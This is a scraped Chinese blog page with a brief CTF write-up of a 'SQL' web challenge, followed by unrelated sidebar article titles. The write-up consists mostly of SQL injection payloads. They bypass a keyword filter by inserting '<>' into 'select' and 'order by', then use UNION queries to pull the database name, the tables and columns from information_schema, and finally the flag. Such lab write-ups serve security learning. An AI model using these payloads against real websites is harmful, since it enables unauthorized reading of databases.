当前位置:网站首页>“百度杯”CTF比赛 九月场,Web:SQL
“百度杯”CTF比赛 九月场,Web:SQL
2022-07-05 13:00:00 【Part 02】
题目内容:
出题人就告诉你这是个注入,有种别走!
看 URL
/index.php?id=1
测过滤
没有过滤: ' 空格 #
被过滤: order by,select
测能否绕过
/**/
1 ord/**/er by 3%23
<>
1 ord<>er by 3%23 有回显
1 ord<>er by 4%23 无回显
?id=-1 union sel<>ect 1,2,3%23
?id=-1 union sel<>ect 1,database(),3%23
?id=-1 union sel<>ect 1,table_name,3 from information_schema.tables where table_schema=database()%23
?id=-1 union sel<>ect 1,column_name,3 from information_schema.columns where table_schema=database()%23
?id=-1 union sel<>ect 1,flAg_T5ZNdrm,3 from info%23
边栏推荐
- Difference between avc1 and H264
- [cloud native] use of Nacos taskmanager task management
- 【Hot100】33. 搜索旋转排序数组
- 关于 SAP UI5 floating footer 显示与否的单步调试以及使用 SAP UI5 的收益
- Flutter 绘制波浪移动动画效果,曲线和折线图
- JPA规范总结和整理
- 精彩速递|腾讯云数据库6月刊
- Shi Zhenzhen's 2021 summary and 2022 outlook | colorful eggs at the end of the article
- 初识Linkerd项目
- uni-app开发语音识别app,讲究的就是简单快速。
猜你喜欢
Alibaba cloud SLB load balancing product basic concept and purchase process
解决 UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0xa2 in position 107
Leetcode20. Valid parentheses
Introduction to the principle of DNS
【每日一题】1200. 最小绝对差
SAP SEGW 事物码里的 ABAP 类型和 EDM 类型映射的一个具体例子
SAE international strategic investment geometry partner
Introduction to sap ui5 flexiblecolumnlayout control
MySQL 巨坑:update 更新慎用影响行数做判断!!!
SAP SEGW 事物码里的 ABAP Editor
随机推荐
CAN和CAN FD
Shu tianmeng map × Weiyan technology - Dream map database circle of friends + 1
从外卖点单浅谈伪需求
《2022年中国银行业RPA供应商实力矩阵分析》研究报告正式启动
峰会回顾|保旺达-合规和安全双驱动的数据安全整体防护体系
Navigation property and entityset usage in SAP segw transaction code
程序员成长第八篇:做好测试工作
A small talk caused by the increase of sweeping
A deep long article on the simplification and acceleration of join operation
RHCSA9
Principle and configuration of RSTP protocol
OpenHarmony应用开发之Navigation组件详解
155. 最小栈
初识Linkerd项目
mysql拆分字符串做条件查询
Concurrent performance test of SAP Spartacus with JMeter
Apicloud studio3 API management and debugging tutorial
APICloud Studio3 API管理与调试使用教程
手把手带你入门Apache伪静态的配置
mysql econnreset_Nodejs 套接字报错处理 Error: read ECONNRESET